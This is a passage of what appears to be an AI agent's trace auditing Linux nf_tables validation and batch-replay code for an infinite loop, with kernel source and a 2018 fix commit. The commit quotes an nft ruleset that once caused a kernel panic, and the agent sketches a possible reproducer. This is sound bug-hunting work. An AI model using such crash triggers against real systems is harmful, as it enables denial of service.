10288: data_boundary = data + data_size;
10289: size = 0;
10290:
10291: list_for_each_entry(rule, &chain->rules, list) {
10292: if (!nft_is_active_next(net, rule))
10293: continue;
10294:
10295: prule = (struct nft_rule_dp *)data;
10296: data += offsetof(struct nft_rule_dp, data);
10297: if (WARN_ON_ONCE(data > data_boundary))
10298: return -ENOMEM;
10299:
10300: size = 0;
10301: track.last = nft_expr_last(rule);
10302: nft_rule_for_each_expr(expr, last, rule) {
10303: track.cur = expr;
10304:
10305: if (nft_expr_reduce(&track, expr)) {
10306: expr = track.cur;
10307: continue;
10308: }
10309:
10310: if (WARN_ON_ONCE(data + size + expr->ops->size > data_boundary))
10311: return -ENOMEM;
10312:
10313: memcpy(data + size, expr, expr->ops->size);
10314: size += expr->ops->size;
10315: }
10316: if (WARN_ON_ONCE(size >= 1 << 12))
10317: return -ENOMEM;
10318:
10319: prule->handle = rule->handle;
10320: prule->dlen = size;
10321: prule->is_last = 0;
10322:
10323: data += size;
10324: size = 0;
10325: chain->blob_next->size += (unsigned long)(data - (void *)prule);
10326: }
10327:
10328: if (WARN_ON_ONCE(data > data_boundary))
10329: return -ENOMEM;
10330:
10331: prule = (struct nft_rule_dp *)data;
10332: nft_last_rule(chain, prule);
10333:
10334: return 0;
10335: }
SourceFile:net/netfilter/nf_tables_api.c]
|
| 283/2 |
2026/05/31 10:50 |
llm |
expert |
0m
Model:
Tokens:
input: 93507
output: 41
thoughts: 1409
Thoughts: **Analyzing Potential Infinite Loops in Netfilter Autoloading**
Okay, so I'm thinking about this `rtnl_lock()` thing and how it interacts with autoloading in Netfilter. I'm wondering if a specific sequence of errors could lead to an infinite loop, especially if a module can't be found.
First, if `request_module` is called, but `modprobe` is unavailable, it immediately returns `-ENOENT`. Then I initially thought that `nfnetlink_rcv_batch` might loop. Let me trace the execution:
1. `nfnetlink_rcv_batch` calls `nf_tables_newrule`.
2. `nf_tables_newrule` calls `nft_expr_type_request_module`.
3. `nft_expr_type_request_module` calls `nft_request_module`.
4. `nft_request_module` adds a request to `module_list` and returns `-EAGAIN`.
5. `nf_tables_newrule` returns `-EAGAIN`.
6. `nfnetlink_rcv_batch` jumps to `done:` and calls `ss->abort(..., NFNL_ABORT_AUTOLOAD)`.
7. `nf_tables_abort` calls `nf_tables_module_autoload`.
8. `nf_tables_module_autoload` calls `request_module`, which returns `-ENOENT` (because `modprobe` fails).
9. `req->done` is set to `true`.
10. `nfnetlink_rcv_batch` jumps to `replay:`.
11. `nf_tables_newrule` calls `nft_expr_type_request_module`.
12. `nft_expr_type_request_module` calls `nft_request_module`.
13. `nft_request_module` finds the request in `module_list`. Since `req->done` is `true`, it returns `0`.
14. `nft_expr_type_request_module` returns `0`.
15. `nft_expr_type_get` calls `__nft_expr_type_get`, returning `NULL` because the module wasn't loaded.
16. `nft_expr_type_get` returns `ERR_PTR(-ENOENT)`.
17. `nf_tables_expr_parse` returns `-ENOENT`.
18. `nf_tables_newrule` returns `-ENOENT`.
19. `nfnetlink_rcv_batch` handles `-ENOENT` by setting `status |= NFNL_BATCH_FAILURE` and going to `ack:`.
20. In `ack:`, the error is added to `err_list`.
21. The next message is processed.
22. If no more messages, it goes to `done:`.
23. In `done:`, since `status & NFNL_BATCH_FAILURE` is true, `ss->abort(..., NFNL_ABORT_NONE)` is called.
24. `nf_tables_abort` calls `nf_tables_module_autoload_cleanup`.
25. `nf_tables_module_autoload_cleanup` removes all requests and frees them.
26. `nfnetlink_rcv_batch` returns.
So, it *doesn't* loop infinitely! The batch aborts and cleans up properly.
Now, what if `nft_expr_type_get` requests the generic module? Let's trace this:
If `nft_expr_type_request_module` returns 0 (because the request is done), it calls `nft_request_module` for the generic module. Since the generic module isn't in `module_list` yet, `nft_request_module` adds it and returns `-EAGAIN`. Then `nft_expr_type_get` returns `-EAGAIN`. `nfnetlink_rcv_batch` aborts, loads the generic module, and replays. On replay, `nft_expr_type_request_module` returns 0. `nft_request_module` for the generic returns 0 (since it's done). Then `nft_expr_type_get` returns `ERR_PTR(-ENOENT)`. This takes two replays, but still no infinite loop.
Okay, is there *any* other place that returns `-EAGAIN`? What about `nf_tables_validate`?
If `nf_tables_validate` returns `< 0` (like `-EAGAIN`), `nf_tables_commit` returns `-E
|
| 284/2 |
2026/05/31 10:50 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/netfilter/nf_tables_api.c Name:nf_tables_validate]
Results: map[SourceCode:10079: static int nf_tables_validate(struct net *net)
10080: {
10081: struct nftables_pernet *nft_net = nft_pernet(net);
10082: struct nft_table *table;
10083:
10084: list_for_each_entry(table, &nft_net->tables, list) {
10085: switch (table->validate_state) {
10086: case NFT_VALIDATE_SKIP:
10087: continue;
10088: case NFT_VALIDATE_NEED:
10089: nft_validate_state_update(table, NFT_VALIDATE_DO);
10090: fallthrough;
10091: case NFT_VALIDATE_DO:
10092: if (nft_table_validate(net, table) < 0)
10093: return -EAGAIN;
10094:
10095: nft_validate_state_update(table, NFT_VALIDATE_SKIP);
10096: break;
10097: }
10098: }
10099:
10100: return 0;
10101: }
SourceFile:net/netfilter/nf_tables_api.c]
|
| 285/2 |
2026/05/31 10:50 |
llm |
expert |
0m
Model:
Tokens:
input: 96363
output: 41
thoughts: 38
Thoughts: Okay, here's my interpretation of that thought process, assuming I'm already deep in the weeds with Netfilter and nftables:
**Diving into nft_table_validate and EAGAIN**
Right, so I'm seeing a possible connection here. If `nft_table_validate` is returning a value less than zero, that implies an error condition. And, interestingly, that error seems to be triggering a `-EAGAIN` return from the related `nf_tables_validate` function. Okay, let's drill down on that. My immediate next step is to examine the behavior of `nft_table_validate`. I need to figure out *why* a negative return from `nft_table_validate` would propagate, or manifest as, an `-EAGAIN` from `nf_tables_validate`. Is there a specific error code being returned from `nft_table_validate` that translates to EAGAIN, or is it a more general check and return? I need to understand the error path. Where is it being called? What are the potential negative return values? And is `-EAGAIN` the only response, or could there be other error conditions at play? This is a crucial area I need to understand if I want to maintain the stability of the entire Netfilter system.
|
| 286/2 |
2026/05/31 10:50 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/netfilter/nf_tables_api.c Name:nft_table_validate]
Results: map[SourceCode:4108: static int nft_table_validate(struct net *net, const struct nft_table *table)
4109: {
4110: struct nft_chain *chain;
4111: struct nft_ctx ctx = {
4112: .net = net,
4113: .family = table->family,
4114: };
4115: int err;
4116:
4117: list_for_each_entry(chain, &table->chains, list) {
4118: if (!nft_is_base_chain(chain))
4119: continue;
4120:
4121: ctx.chain = chain;
4122: err = nft_chain_validate(&ctx, chain);
4123: if (err < 0)
4124: return err;
4125:
4126: cond_resched();
4127: }
4128:
4129: return 0;
4130: }
SourceFile:net/netfilter/nf_tables_api.c]
|
| 287/2 |
2026/05/31 10:50 |
llm |
expert |
0m
Model:
Tokens:
input: 97035
output: 41
thoughts: 54
Thoughts: **Validating NFT Chains and Tables**
Okay, so if `nft_chain_validate` kicks back a value less than zero, I'm just going to pass that error along from `nft_table_validate`. Seems straightforward enough. But hold on... did I just see `-EAGAIN` as a possible return value from `nft_chain_validate`? I need to double-check that. Let's dig into the documentation for `nft_chain_validate` and make sure I haven't missed something crucial regarding how it handles and signals errors, specifically how it deals with `-EAGAIN`. I need to ensure the validation logic accurately reflects any asynchronous considerations.
|
| 288/2 |
2026/05/31 10:50 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/netfilter/nf_tables_api.c Name:nft_chain_validate]
Results: map[SourceCode:4066: /** nft_chain_validate - loop detection and hook validation
4067: *
4068: * @ctx: context containing call depth and base chain
4069: * @chain: chain to validate
4070: *
4071: * Walk through the rules of the given chain and chase all jumps/gotos
4072: * and set lookups until either the jump limit is hit or all reachable
4073: * chains have been validated.
4074: */
4075: int nft_chain_validate(const struct nft_ctx *ctx, const struct nft_chain *chain)
4076: {
4077: struct nft_expr *expr, *last;
4078: struct nft_rule *rule;
4079: int err;
4080:
4081: if (ctx->level == NFT_JUMP_STACK_SIZE)
4082: return -EMLINK;
4083:
4084: list_for_each_entry(rule, &chain->rules, list) {
4085: if (fatal_signal_pending(current))
4086: return -EINTR;
4087:
4088: if (!nft_is_active_next(ctx->net, rule))
4089: continue;
4090:
4091: nft_rule_for_each_expr(expr, last, rule) {
4092: if (!expr->ops->validate)
4093: continue;
4094:
4095: /* This may call nft_chain_validate() recursively,
4096: * callers that do so must increment ctx->level.
4097: */
4098: err = expr->ops->validate(ctx, expr);
4099: if (err < 0)
4100: return err;
4101: }
4102: }
4103:
4104: return 0;
4105: }
SourceFile:net/netfilter/nf_tables_api.c]
|
| 289/2 |
2026/05/31 10:50 |
llm |
expert |
0m
Model:
Tokens:
input: 97852
output: 41
thoughts: 50
Thoughts: **Analyzing the Error Handling in Netfilter Validation**
Okay, so I'm digging into how these Netfilter validation functions are working. Specifically, I see that if a validation function, `expr->ops->validate`, throws a negative return value – meaning it signals an error – then `nft_chain_validate` just passes that error right up the chain. Makes sense, that's how we propagate error signals.
The question that's nagging me, though, is whether any of these validation functions are specifically returning `-EAGAIN`. That's a critical signal indicating that the resource is temporarily unavailable, and that the operation should be retried. It's not a common error code for simple validation; it's more appropriate for a retry condition. If a validator did return `-EAGAIN`, we'd need to consider if it's being handled correctly, i.e., are we re-trying or just giving up prematurely?
Let's quickly check the implementation of `nft_synproxy_validate`. I suspect that would be one of the more likely validators to be susceptible to returning an `-EAGAIN` condition, since it's involved in connection tracking and dealing with external network states that could be variable. I need to be sure that it is handling errors with proper return conditions.
|
| 290/2 |
2026/05/31 10:50 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/netfilter/nft_synproxy.c Name:nft_synproxy_validate]
Results: map[SourceCode: 250: static int nft_synproxy_validate(const struct nft_ctx *ctx,
251: const struct nft_expr *expr)
252: {
253: if (ctx->family != NFPROTO_IPV4 &&
254: ctx->family != NFPROTO_IPV6 &&
255: ctx->family != NFPROTO_INET)
256: return -EOPNOTSUPP;
257:
258: return nft_chain_validate_hooks(ctx->chain, (1 << NF_INET_LOCAL_IN) |
259: (1 << NF_INET_FORWARD));
260: }
SourceFile:net/netfilter/nft_synproxy.c]
|
| 291/2 |
2026/05/31 10:50 |
llm |
expert |
0m
Model:
Tokens:
input: 98429
output: 43
thoughts: 15
Thoughts: Okay, here's my summary, presented as a stream of thought:
**Initial Assessment: A Point of Negation**
My first reaction is a simple, unequivocal "No." It's a gut feeling, a dismissal, almost instantaneous. But then, as any good practitioner does, I start to probe for the underlying cause of this initial reaction. It can't simply be left as a flat rejection. What's the *why* behind this negative response? What key aspect am I missing? What haven't I considered?
That's when a specific point, a potential area of concern, surfaces... **`nft_chain_validate_hooks`**. The name immediately triggers an alert. Are there hooks and validating functions involved? It presents a key vector that must be considered. I need to understand this better.
|
| 292/2 |
2026/05/31 10:51 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/netfilter/nf_tables_api.c Name:nft_chain_validate_hooks]
Results: map[SourceCode:11522: int nft_chain_validate_hooks(const struct nft_chain *chain,
11523: unsigned int hook_flags)
11524: {
11525: struct nft_base_chain *basechain;
11526:
11527: if (nft_is_base_chain(chain)) {
11528: basechain = nft_base_chain(chain);
11529:
11530: if ((1 << basechain->ops.hooknum) & hook_flags)
11531: return 0;
11532:
11533: return -EOPNOTSUPP;
11534: }
11535:
11536: return 0;
11537: }
SourceFile:net/netfilter/nf_tables_api.c]
|
| 293/2 |
2026/05/31 10:51 |
llm |
expert |
0m
Model:
Tokens:
input: 98916
output: 55
thoughts: 1166
Thoughts: **Infinite Loop in nf_tables Commit Path**
Okay, so I'm looking at this `nf_tables` code, and I've got a problem. It seems `nf_tables_validate` *only* returns `-EAGAIN` if `nft_table_validate` returns a negative value. Specifically, it does that if `nft_table_validate` returns anything less than zero, like `-EOPNOTSUPP`.
So, the sequence goes like this: `nft_table_validate` returns, let's say, `-EOPNOTSUPP`. That makes `nf_tables_validate` return `-EAGAIN`. Then `nf_tables_commit` returns `-EAGAIN` too. The `nfnetlink_rcv_batch` function sees this `-EAGAIN`, sets `NFNL_BATCH_REPLAY`, and re-processes the entire batch. During the replay, the same rules that caused the failure are added to the transaction list *again*. Then `nf_tables_commit` gets called, calling `nf_tables_validate`, which, since the rules are still invalid, will return `-EAGAIN` again (assuming the invalid state hasn't changed).
Wait a second… `nf_tables_abort` *does* clear the transaction list. So, in the abort path, all the rules should be removed. But the replay adds them again! And then we loop back into the same commit flow... So, this is potentially an infinite loop. I can see if `nft_table_validate` returns `-EOPNOTSUPP` due to an invalid configuration, the commit fails, it aborts, clears the rules from the pending list. Then, the batch is replayed, the rules are *added again*. The validation fails, the process aborts, it clears, re-adds and repeats... Yes, that's an infinite loop.
Let's test this with a reproducer. If I add a rule with, say, `synproxy` to a chain that isn't `NF_INET_LOCAL_IN` or `NF_INET_FORWARD`, like `NF_INET_PRE_ROUTING`, I can expect `nft_synproxy_validate` to return `-EOPNOTSUPP`. This cascades to `nft_chain_validate`, and then to `nft_table_validate` returning `-EOPNOTSUPP`, and finally triggering the `-EAGAIN` on validation and commit and… the loop.
Okay, let me check that commit, `c0391b6ab810`. It added validation to the *abort* path. However, there may still be an issue with the *commit* path. In `nf_tables_commit`, the validation is performed: if `nf_tables_validate` returns `-EAGAIN`, the function also returns `-EAGAIN`, and `nfnetlink_rcv_batch` will trigger the replay, which is exactly the infinite loop!
So, the logic here is that if `nf_tables_validate` returns `-EAGAIN`, the system wants to replay. But, if the initial validation *failed* because of a *configuration error*, replaying the same rules just results in the same failure. I think this might be a problem that has been fixed. I'll need to check if recent commits have touched `nf_tables_validate`.
|
| 294/2 |
2026/05/31 10:51 |
tool |
git-log |
0m
Args: map[CodeRegexp:nft_table_validate\\(net, table\\) < 0 Count:10 PathPrefix:net/netfilter/nf_tables_api.c]
Results:
|
| 295/2 |
2026/05/31 10:51 |
llm |
expert |
0m
Model:
Tokens:
input: 100880
output: 45
thoughts: 0
|
| 296/2 |
2026/05/31 10:51 |
tool |
git-log |
0m
Args: map[CodeRegexp:nft_table_validate Count:10 PathPrefix:net/netfilter/nf_tables_api.c]
Results: map[Output:e2b750d78b55 netfilter: nf_tables: remove nft_ctx_init_from_elemattr()
a654de8fdc18 netfilter: nf_tables: fix chain dependency validation
]
|
| 297/2 |
2026/05/31 10:51 |
llm |
expert |
0m
Model:
Tokens:
input: 100993
output: 25
thoughts: 0
|
| 298/2 |
2026/05/31 10:51 |
tool |
git-show |
0m
Args:
Results: map[Output:commit a654de8fdc1815676ab750e70cab231fc814c29f
Author: Pablo Neira Ayuso <pablo@netfilter.org>
Date: Wed May 30 20:18:57 2018 +0200
netfilter: nf_tables: fix chain dependency validation
The following ruleset:
add table ip filter
add chain ip filter input { type filter hook input priority 4; }
add chain ip filter ap
add rule ip filter input jump ap
add rule ip filter ap masquerade
results in a panic, because the masquerade extension should be rejected
from the filter chain. The existing validation is missing a chain
dependency check when the rule is added to the non-base chain.
This patch fixes the problem by walking down the rules from the
basechains, searching for either immediate or lookup expressions, then
jumping to non-base chains and again walking down the rules to perform
the expression validation, so we make sure the full ruleset graph is
validated. This is done only once from the commit phase, in case of
problem, we abort the transaction and perform fine grain validation for
error reporting. This patch requires 003087911af2 ("netfilter:
nfnetlink: allow commit to fail") to achieve this behaviour.
This patch also adds a cleanup callback to nfnl batch interface to reset
the validate state from the exit path.
As a result of this patch, nf_tables_check_loops() doesn't use
->validate to check for loops, instead it just checks for immediate
expressions.
Reported-by: Taehee Yoo <ap420073@gmail.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
diff --git a/include/linux/netfilter/nfnetlink.h b/include/linux/netfilter/nfnetlink.h
index 34551f8aaf9d..3ecc3050be0e 100644
--- a/include/linux/netfilter/nfnetlink.h
+++ b/include/linux/netfilter/nfnetlink.h
@@ -31,6 +31,7 @@ struct nfnetlink_subsystem {
const struct nfnl_callback *cb; /* callback for individual types */
int (*commit)(struct net *net, struct sk_buff *skb);
int (*abort)(struct net *net, struct sk_buff *skb);
+ void (*cleanup)(struct net *net);
bool (*valid_genid)(struct net *net, u32 genid);
};
diff --git a/include/net/netfilter/nf_tables.h b/include/net/netfilter/nf_tables.h
index 6b9ddb99f3a8..435c32d8a995 100644
--- a/include/net/netfilter/nf_tables.h
+++ b/include/net/netfilter/nf_tables.h
@@ -874,6 +874,8 @@ struct nft_chain {
struct nft_rule **rules_next;
};
+int nft_chain_validate(const struct nft_ctx *ctx, const struct nft_chain *chain);
+
enum nft_chain_types {
NFT_CHAIN_T_DEFAULT = 0,
NFT_CHAIN_T_ROUTE,
diff --git a/include/net/netfilter/nf_tables_core.h b/include/net/netfilter/nf_tables_core.h
index cd6915b6c054..e0c0c2558ec4 100644
--- a/include/net/netfilter/nf_tables_core.h
+++ b/include/net/netfilter/nf_tables_core.h
@@ -2,6 +2,8 @@
#ifndef _NET_NF_TABLES_CORE_H
#define _NET_NF_TABLES_CORE_H
+#include <net/netfilter/nf_tables.h>
+
extern struct nft_expr_type nft_imm_type;
extern struct nft_expr_type nft_cmp_type;
extern struct nft_expr_type nft_lookup_type;
@@ -23,6 +25,12 @@ struct nft_cmp_fast_expr {
u8 len;
};
+struct nft_immediate_expr {
+ struct nft_data data;
+ enum nft_registers dreg:8;
+ u8 dlen;
+};
+
/* Calculate the mask for the nft_cmp_fast expression. On big endian the
* mask needs to include the *upper* bytes when interpreting that data as
* something smaller than the full u32, therefore a cpu_to_le32 is done.
diff --git a/include/net/netns/nftables.h b/include/net/netns/nftables.h
index 29c3851b486a..94767ea3a490 100644
--- a/include/net/netns/nftables.h
+++ b/include/net/netns/nftables.h
@@ -9,6 +9,7 @@ struct netns_nftables {
struct list_head commit_list;
unsigned int base_seq;
u8 gencursor;
+ u8 validate_state;
};
#endif
diff --git a/net/netfilter/nf_tables_api.c b/net/netfilter/nf_tables_api.c
index 3b2ad96a9a05..c785bc5a66f1 100644
--- a/net/netfilter/nf_tables_api.c
+++ b/net/netfilter/nf_tables_api.c
@@ -28,6 +28,28 @@ static LIST_HEAD(nf_tables_objects);
static LIST_HEAD(nf_tables_flowtables);
static u64 table_handle;
+enum {
+ NFT_VALIDATE_SKIP = 0,
+ NFT_VALIDATE_NEED,
+ NFT_VALIDATE_DO,
+};
+
+static void nft_validate_state_update(struct net *net, u8 new_validate_state)
+{
+ switch (net->nft.validate_state) {
+ case NFT_VALIDATE_SKIP:
+ WARN_ON_ONCE(new_validate_state == NFT_VALIDATE_DO);
+ break;
+ case NFT_VALIDATE_NEED:
+ break;
+ case NFT_VALIDATE_DO:
+ if (new_validate_state == NFT_VALIDATE_NEED)
+ return;
+ }
+
+ net->nft.validate_state = new_validate_state;
+}
+
static void nft_ctx_init(struct nft_ctx *ctx,
struct net *net,
const struct sk_buff *skb,
@@ -1921,19 +1943,7 @@ static int nf_tables_newexpr(const struct nft_ctx *ctx,
goto err1;
}
- if (ops->validate) {
- const struct nft_data *data = NULL;
-
- err = ops->validate(ctx, expr, &data);
- if (err < 0)
- goto err2;
- }
-
return 0;
-
-err2:
- if (ops->destroy)
- ops->destroy(ctx, expr);
err1:
expr->ops = NULL;
return err;
@@ -2299,6 +2309,53 @@ static void nf_tables_rule_release(const struct nft_ctx *ctx,
nf_tables_rule_destroy(ctx, rule);
}
+int nft_chain_validate(const struct nft_ctx *ctx, const struct nft_chain *chain)
+{
+ struct nft_expr *expr, *last;
+ const struct nft_data *data;
+ struct nft_rule *rule;
+ int err;
+
+ list_for_each_entry(rule, &chain->rules, list) {
+ if (!nft_is_active_next(ctx->net, rule))
+ continue;
+
+ nft_rule_for_each_expr(expr, last, rule) {
+ if (!expr->ops->validate)
+ continue;
+
+ err = expr->ops->validate(ctx, expr, &data);
+ if (err < 0)
+ return err;
+ }
+ }
+
+ return 0;
+}
+EXPORT_SYMBOL_GPL(nft_chain_validate);
+
+static int nft_table_validate(struct net *net, const struct nft_table *table)
+{
+ struct nft_chain *chain;
+ struct nft_ctx ctx = {
+ .net = net,
+ .family = table->family,
+ };
+ int err;
+
+ list_for_each_entry(chain, &table->chains, list) {
+ if (!nft_is_base_chain(chain))
+ continue;
+
+ ctx.chain = chain;
+ err = nft_chain_validate(&ctx, chain);
+ if (err < 0)
+ return err;
+ }
+
+ return 0;
+}
+
#define NFT_RULE_MAXEXPRS 128
static struct nft_expr_info *info;
@@ -2426,6 +2483,10 @@ static int nf_tables_newrule(struct net *net, struct sock *nlsk,
err = nf_tables_newexpr(&ctx, &info[i], expr);
if (err < 0)
goto err2;
+
+ if (info[i].ops->validate)
+ nft_validate_state_update(net, NFT_VALIDATE_NEED);
+
info[i].ops = NULL;
expr = nft_expr_next(expr);
}
@@ -2469,8 +2530,11 @@ static int nf_tables_newrule(struct net *net, struct sock *nlsk,
}
}
chain->use++;
- return 0;
+ if (net->nft.validate_state == NFT_VALIDATE_DO)
+ return nft_table_validate(net, table);
+
+ return 0;
err2:
nf_tables_rule_release(&ctx, rule);
err1:
@@ -4112,6 +4176,12 @@ static int nft_add_set_elem(struct nft_ctx *ctx, struct nft_set *set,
d2.type, d2.len);
if (err < 0)
goto err3;
+
+ if (d2.type == NFT_DATA_VERDICT &&
+ (data.verdict.code == NFT_GOTO ||
+ data.verdict.code == NFT_JUMP))
+ nft_validate_state_update(ctx->net,
+ NFT_VALIDATE_NEED);
}
nft_set_ext_add_length(&tmpl, NFT_SET_EXT_DATA, d2.len);
@@ -4211,7 +4281,7 @@ static int nf_tables_newsetelem(struct net *net, struct sock *nlsk,
const struct nlattr *attr;
struct nft_set *set;
struct nft_ctx ctx;
- int rem, err = 0;
+ int rem, err;
if (nla[NFTA_SET_ELEM_LIST_ELEMENTS] == NULL)
return -EINVAL;
@@ -4232,9 +4302,13 @@ static int nf_tables_newsetelem(struct net *net, struct sock *nlsk,
nla_for_each_nested(attr, nla[NFTA_SET_ELEM_LIST_ELEMENTS], rem) {
err = nft_add_set_elem(&ctx, set, attr, nlh->nlmsg_flags);
if (err < 0)
- break;
+ return err;
}
- return err;
+
+ if (net->nft.validate_state == NFT_VALIDATE_DO)
+ return nft_table_validate(net, ctx.table);
+
+ return 0;
}
/**
@@ -5867,6 +5941,27 @@ static const struct nfnl_callback nf_tables_cb[NFT_MSG_MAX] = {
},
};
+static int nf_tables_validate(struct net *net)
+{
+ struct nft_table *table;
+
+ switch (net->nft.validate_state) {
+ case NFT_VALIDATE_SKIP:
+ break;
+ case NFT_VALIDATE_NEED:
+ nft_validate_state_update(net, NFT_VALIDATE_DO);
+ /* fall through */
+ case NFT_VALIDATE_DO:
+ list_for_each_entry(table, &net->nft.tables, list) {
+ if (nft_table_validate(net, table) < 0)
+ return -EAGAIN;
+ }
+ break;
+ }
+
+ return 0;
+}
+
static void nft_chain_commit_update(struct nft_trans *trans)
{
struct nft_base_chain *basechain;
@@ -6055,6 +6150,10 @@ static int nf_tables_commit(struct net *net, struct sk_buff *skb)
struct nft_chain *chain;
struct nft_table *table;
+ /* 0. Validate ruleset, otherwise roll back for error reporting. */
+ if (nf_tables_validate(net) < 0)
+ return -EAGAIN;
+
/* 1. Allocate space for next generation rules_gen_X[] */
list_for_each_entry_safe(trans, next, &net->nft.commit_list, list) {
int ret;
@@ -6349,6 +6448,11 @@ static int nf_tables_abort(struct net *net, struct sk_buff *skb)
return 0;
}
+static void nf_tables_cleanup(struct net *net)
+{
+ nft_validate_state_update(net, NFT_VALIDATE_SKIP);
+}
+
static bool nf_tables_valid_genid(struct net *net, u32 genid)
{
return net->nft.base_seq == genid;
@@ -6361,6 +6465,7 @@ static const struct nfnetlink_subsystem nf_tables_subsys = {
.cb = nf_tables_cb,
.commit = nf_tables_commit,
.abort = nf_tables_abort,
+ .cleanup = nf_tables_cleanup,
.valid_genid = nf_tables_valid_genid,
};
@@ -6444,19 +6549,18 @@ static int nf_tables_check_loops(const struct nft_ctx *ctx,
list_for_each_entry(rule, &chain->rules, list) {
nft_rule_for_each_expr(expr, last, rule) {
- const struct nft_data *data = NULL;
+ struct nft_immediate_expr *priv;
+ const struct nft_data *data;
int err;
- if (!expr->ops->validate)
+ if (strcmp(expr->ops->type->name, "immediate"))
continue;
- err = expr->ops->validate(ctx, expr, &data);
- if (err < 0)
- return err;
-
- if (data == NULL)
+ priv = nft_expr_priv(expr);
+ if (priv->dreg != NFT_REG_VERDICT)
continue;
+ data = &priv->data;
switch (data->verdict.code) {
case NFT_JUMP:
case NFT_GOTO:
@@ -6936,6 +7040,8 @@ static int __net_init nf_tables_init_net(struct net *net)
INIT_LIST_HEAD(&net->nft.tables);
INIT_LIST_HEAD(&net->nft.commit_list);
net->nft.base_seq = 1;
+ net->nft.validate_state = NFT_VALIDATE_SKIP;
+
return 0;
}
diff --git a/net/netfilter/nfnetlink.c b/net/netfilter/nfnetlink.c
index 5a1bd23af1a3..261820627711 100644
--- a/net/netfilter/nfnetlink.c
+++ b/net/netfilter/nfnetlink.c
@@ -460,6 +460,8 @@ static void nfnetlink_rcv_batch(struct sk_buff *skb, struct nlmsghdr *nlh,
} else {
ss->abort(net, oskb);
}
+ if (ss->cleanup)
+ ss->cleanup(net);
nfnl_err_deliver(&err_list, oskb);
nfnl_unlock(subsys_id);
diff --git a/net/netfilter/nft_immediate.c b/net/netfilter/nft_immediate.c
index aa87ff8beae8..15adf8ca82c3 100644
--- a/net/netfilter/nft_immediate.c
+++ b/net/netfilter/nft_immediate.c
@@ -17,12 +17,6 @@
#include <net/netfilter/nf_tables_core.h>
#include <net/netfilter/nf_tables.h>
-struct nft_immediate_expr {
- struct nft_data data;
- enum nft_registers dreg:8;
- u8 dlen;
-};
-
static void nft_immediate_eval(const struct nft_expr *expr,
struct nft_regs *regs,
const struct nft_pktinfo *pkt)
@@ -101,12 +95,27 @@ static int nft_immediate_dump(struct sk_buff *skb, const struct nft_expr *expr)
static int nft_immediate_validate(const struct nft_ctx *ctx,
const struct nft_expr *expr,
- const struct nft_data **data)
+ const struct nft_data **d)
{
const struct nft_immediate_expr *priv = nft_expr_priv(expr);
+ const struct nft_data *data;
+ int err;
- if (priv->dreg == NFT_REG_VERDICT)
- *data = &priv->data;
+ if (priv->dreg != NFT_REG_VERDICT)
+ return 0;
+
+ data = &priv->data;
+
+ switch (data->verdict.code) {
+ case NFT_JUMP:
+ case NFT_GOTO:
+ err = nft_chain_validate(ctx, data->verdict.chain);
+ if (err < 0)
+ return err;
+ break;
+ default:
+ break;
+ }
return 0;
}
diff --git a/net/netfilter/nft_lookup.c b/net/netfilter/nft_lookup.c
index f52da5e2199f..42e6fadf1417 100644
--- a/net/netfilter/nft_lookup.c
+++ b/net/netfilter/nft_lookup.c
@@ -149,6 +149,52 @@ static int nft_lookup_dump(struct sk_buff *skb, const struct nft_expr *expr)
return -1;
}
+static int nft_lookup_validate_setelem(const struct nft_ctx *ctx,
+ struct nft_set *set,
+ const struct nft_set_iter *iter,
+ struct nft_set_elem *elem)
+{
+ const struct nft_set_ext *ext = nft_set_elem_ext(set, elem->priv);
+ const struct nft_data *data;
+
+ if (nft_set_ext_exists(ext, NFT_SET_EXT_FLAGS) &&
+ *nft_set_ext_flags(ext) & NFT_SET_ELEM_INTERVAL_END)
+ return 0;
+
+ data = nft_set_ext_data(ext);
+ switch (data->verdict.code) {
+ case NFT_JUMP:
+ case NFT_GOTO:
+ return nft_chain_validate(ctx, data->verdict.chain);
+ default:
+ return 0;
+ }
+}
+
+static int nft_lookup_validate(const struct nft_ctx *ctx,
+ const struct nft_expr *expr,
+ const struct nft_data **d)
+{
+ const struct nft_lookup *priv = nft_expr_priv(expr);
+ struct nft_set_iter iter;
+
+ if (!(priv->set->flags & NFT_SET_MAP) ||
+ priv->set->dtype != NFT_DATA_VERDICT)
+ return 0;
+
+ iter.genmask = nft_genmask_next(ctx->net);
+ iter.skip = 0;
+ iter.count = 0;
+ iter.err = 0;
+ iter.fn = nft_lookup_validate_setelem;
+
+ priv->set->ops->walk(ctx, priv->set, &iter);
+ if (iter.err < 0)
+ return iter.err;
+
+ return 0;
+}
+
static const struct nft_expr_ops nft_lookup_ops = {
.type = &nft_lookup_type,
.size = NFT_EXPR_SIZE(sizeof(struct nft_lookup)),
@@ -156,6 +202,7 @@ static const struct nft_expr_ops nft_lookup_ops = {
.init = nft_lookup_init,
.destroy = nft_lookup_destroy,
.dump = nft_lookup_dump,
+ .validate = nft_lookup_validate,
};
struct nft_expr_type nft_lookup_type __read_mostly = {
]
|
| 299/2 |
2026/05/31 10:51 |
llm |
expert |
0m
Model:
Tokens:
input: 106753
output: 41
thoughts: 2298
Thoughts: **My Deep Dive into the nf_tables Validation and Replay Logic**
Okay, so I've been tracing the logic around `nf_tables_validate` and `nfnetlink_rcv_batch`, trying to understand a reported infinite loop scenario. Here's what I've figured out:
Initially, I see `nf_tables_validate` returning `-EAGAIN` when `nft_table_validate` fails. That `-EAGAIN` gets bubbled up through `nf_tables_commit` and triggers a replay in `nfnetlink_rcv_batch`. The replay mechanism seems like a potential source of problems because the batch gets reprocessed. If a validation error is encountered and `-EAGAIN` is returned, the whole process restarts. At first glance, it looks like an endless loop, right?
But, it's not that simple. I've realized there's more at play here. The code uses a `validate_state` variable to control the validation behavior, which is a key part of the error reporting and the replay process. If the replay happens, `validate_state` is set to `NFT_VALIDATE_DO`. So in the replay loop, `nf_tables_newrule` performs validation in-line and, assuming there is no support for a certain expression, the exact error will be immediately returned, without the loop continuing forever. The validation mechanism, Pablo's design, is a clever two-pass approach. The first attempt validates, if it fails, the transaction is replayed, but this time with a stricter validation.
The initial validation, in the commit phase, happens when the `validate_state` is set to `NEED`. If there's an issue, `validate_state` is set to `DO`. The replay allows to report the exact error, if any, during the second pass.
